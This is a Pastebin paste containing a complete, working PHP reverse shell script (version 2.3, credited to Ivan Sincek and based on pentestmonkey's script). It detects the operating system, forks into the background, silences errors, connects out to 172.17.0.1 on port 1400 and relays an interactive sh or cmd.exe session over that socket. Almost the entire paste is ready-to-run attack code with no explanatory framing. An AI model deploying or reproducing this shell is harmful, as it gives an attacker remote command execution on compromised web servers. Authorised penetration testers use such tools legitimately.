Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php
- // Copyright (c) 2020 Ivan Sincek
- // v2.3
- // Requires PHP v5.0.0 or greater.
- // Works on Linux OS, macOS, and Windows OS.
- // See the original script at https://github.com/pentestmonkey/php-reverse-shell.
- class Shell {
- private $addr = null;
- private $port = null;
- private $os = null;
- private $shell = null;
- private $descriptorspec = array(
- 0 => array('pipe', 'r'), // shell can read from STDIN
- 1 => array('pipe', 'w'), // shell can write to STDOUT
- 2 => array('pipe', 'w') // shell can write to STDERR
- );
- private $buffer = 1024; // read/write buffer size
- private $clen = 0; // command length
- private $error = false; // stream read/write error
- public function __construct($addr, $port) {
- $this->addr = $addr;
- $this->port = $port;
- }
- private function detect() {
- $detected = true;
- if (stripos(PHP_OS, 'LINUX') !== false) { // same for macOS
- $this->os = 'LINUX';
- $this->shell = 'sh';
- } else if (stripos(PHP_OS, 'WIN32') !== false || stripos(PHP_OS, 'WINNT') !== false || stripos(PHP_OS, 'WINDOWS') !== false) {
- $this->os = 'WINDOWS';
- $this->shell = 'cmd.exe';
- } else {
- $detected = false;
- echo "SYS_ERROR: Underlying operating system is not supported, script will now exit...\n";
- }
- return $detected;
- }
- private function daemonize() {
- $exit = false;
- if (!function_exists('pcntl_fork')) {
- echo "DAEMONIZE: pcntl_fork() does not exists, moving on...\n";
- } else if (($pid = @pcntl_fork()) < 0) {
- echo "DAEMONIZE: Cannot fork off the parent process, moving on...\n";
- } else if ($pid > 0) {
- $exit = true;
- echo "DAEMONIZE: Child process forked off successfully, parent process will now exit...\n";
- } else if (posix_setsid() < 0) {
- // once daemonized you will actually no longer see the script's dump
- echo "DAEMONIZE: Forked off the parent process but cannot set a new SID, moving on as an orphan...\n";
- } else {
- echo "DAEMONIZE: Completed successfully!\n";
- }
- return $exit;
- }
- private function settings() {
- @error_reporting(0);
- @set_time_limit(0); // do not impose the script execution time limit
- @umask(0); // set the file/directory permissions - 666 for files and 777 for directories
- }
- private function dump($data) {
- $data = str_replace('<', '<', $data);
- $data = str_replace('>', '>', $data);
- echo $data;
- }
- private function read($stream, $name, $buffer) {
- if (($data = @fread($stream, $buffer)) === false) { // suppress an error when reading from a closed blocking stream
- $this->error = true; // set global error flag
- echo "STRM_ERROR: Cannot read from ${name}, script will now exit...\n";
- }
- return $data;
- }
- private function write($stream, $name, $data) {
- if (($bytes = @fwrite($stream, $data)) === false) { // suppress an error when writing to a closed blocking stream
- $this->error = true; // set global error flag
- echo "STRM_ERROR: Cannot write to ${name}, script will now exit...\n";
- }
- return $bytes;
- }
- // read/write method for non-blocking streams
- private function rw($input, $output, $iname, $oname) {
- while (($data = $this->read($input, $iname, $this->buffer)) && $this->write($output, $oname, $data)) {
- if ($this->os === 'WINDOWS' && $oname === 'STDIN') { $this->clen += strlen($data); } // calculate the command length
- $this->dump($data); // script's dump
- }
- }
- // read/write method for blocking streams (e.g. for STDOUT and STDERR on Windows OS)
- // we must read the exact byte length from a stream and not a single byte more
- private function brw($input, $output, $iname, $oname) {
- $fstat = fstat($input);
- $size = $fstat['size'];
- if ($this->os === 'WINDOWS' && $iname === 'STDOUT' && $this->clen) {
- // for some reason Windows OS pipes STDIN into STDOUT
- // we do not like that
- // we need to discard the data from the stream
- while ($this->clen > 0 && ($bytes = $this->clen >= $this->buffer ? $this->buffer : $this->clen) && $this->read($input, $iname, $bytes)) {
- $this->clen -= $bytes;
- $size -= $bytes;
- }
- }
- while ($size > 0 && ($bytes = $size >= $this->buffer ? $this->buffer : $size) && ($data = $this->read($input, $iname, $bytes)) && $this->write($output, $oname, $data)) {
- $size -= $bytes;
- $this->dump($data); // script's dump
- }
- }
- public function run() {
- if ($this->detect() && !$this->daemonize()) {
- $this->settings();
- // ----- SOCKET BEGIN -----
- $socket = @fsockopen($this->addr, $this->port, $errno, $errstr, 30);
- if (!$socket) {
- echo "SOC_ERROR: {$errno}: {$errstr}\n";
- } else {
- stream_set_blocking($socket, false); // set the socket stream to non-blocking mode | returns 'true' on Windows OS
- // ----- SHELL BEGIN -----
- $process = @proc_open($this->shell, $this->descriptorspec, $pipes, null, null);
- if (!$process) {
- echo "PROC_ERROR: Cannot start the shell\n";
- } else {
- foreach ($pipes as $pipe) {
- stream_set_blocking($pipe, false); // set the shell streams to non-blocking mode | returns 'false' on Windows OS
- }
- // ----- WORK BEGIN -----
- $status = proc_get_status($process);
- @fwrite($socket, "SOCKET: Shell has connected! PID: " . $status['pid'] . "\n");
- do {
- $status = proc_get_status($process);
- if (feof($socket)) { // check for end-of-file on SOCKET
- echo "SOC_ERROR: Shell connection has been terminated\n"; break;
- } else if (feof($pipes[1]) || !$status['running']) { // check for end-of-file on STDOUT or if process is still running
- echo "PROC_ERROR: Shell process has been terminated\n"; break; // feof() does not work with blocking streams
- } // use proc_get_status() instead
- $streams = array(
- 'read' => array($socket, $pipes[1], $pipes[2]), // SOCKET | STDOUT | STDERR
- 'write' => null,
- 'except' => null
- );
- $num_changed_streams = @stream_select($streams['read'], $streams['write'], $streams['except'], 0); // wait for stream changes | will not wait on Windows OS
- if ($num_changed_streams === false) {
- echo "STRM_ERROR: stream_select() failed\n"; break;
- } else if ($num_changed_streams > 0) {
- if ($this->os === 'LINUX') {
- if (in_array($socket , $streams['read'])) { $this->rw($socket , $pipes[0], 'SOCKET', 'STDIN' ); } // read from SOCKET and write to STDIN
- if (in_array($pipes[2], $streams['read'])) { $this->rw($pipes[2], $socket , 'STDERR', 'SOCKET'); } // read from STDERR and write to SOCKET
- if (in_array($pipes[1], $streams['read'])) { $this->rw($pipes[1], $socket , 'STDOUT', 'SOCKET'); } // read from STDOUT and write to SOCKET
- } else if ($this->os === 'WINDOWS') {
- // order is important
- if (in_array($socket, $streams['read'])/*------*/) { $this->rw ($socket , $pipes[0], 'SOCKET', 'STDIN' ); } // read from SOCKET and write to STDIN
- if (($fstat = fstat($pipes[2])) && $fstat['size']) { $this->brw($pipes[2], $socket , 'STDERR', 'SOCKET'); } // read from STDERR and write to SOCKET
- if (($fstat = fstat($pipes[1])) && $fstat['size']) { $this->brw($pipes[1], $socket , 'STDOUT', 'SOCKET'); } // read from STDOUT and write to SOCKET
- }
- }
- } while (!$this->error);
- // ------ WORK END ------
- foreach ($pipes as $pipe) {
- fclose($pipe);
- }
- proc_close($process);
- }
- // ------ SHELL END ------
- fclose($socket);
- }
- // ------ SOCKET END ------
- }
- }
- }
- echo '<pre>';
- // change the host address and/or port number as necessary
- $sh = new Shell('172.17.0.1', 1400);
- $sh->run();
- unset($sh);
- // garbage collector requires PHP v5.3.0 or greater
- // @gc_collect_cycles();
- echo '</pre>';
- ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement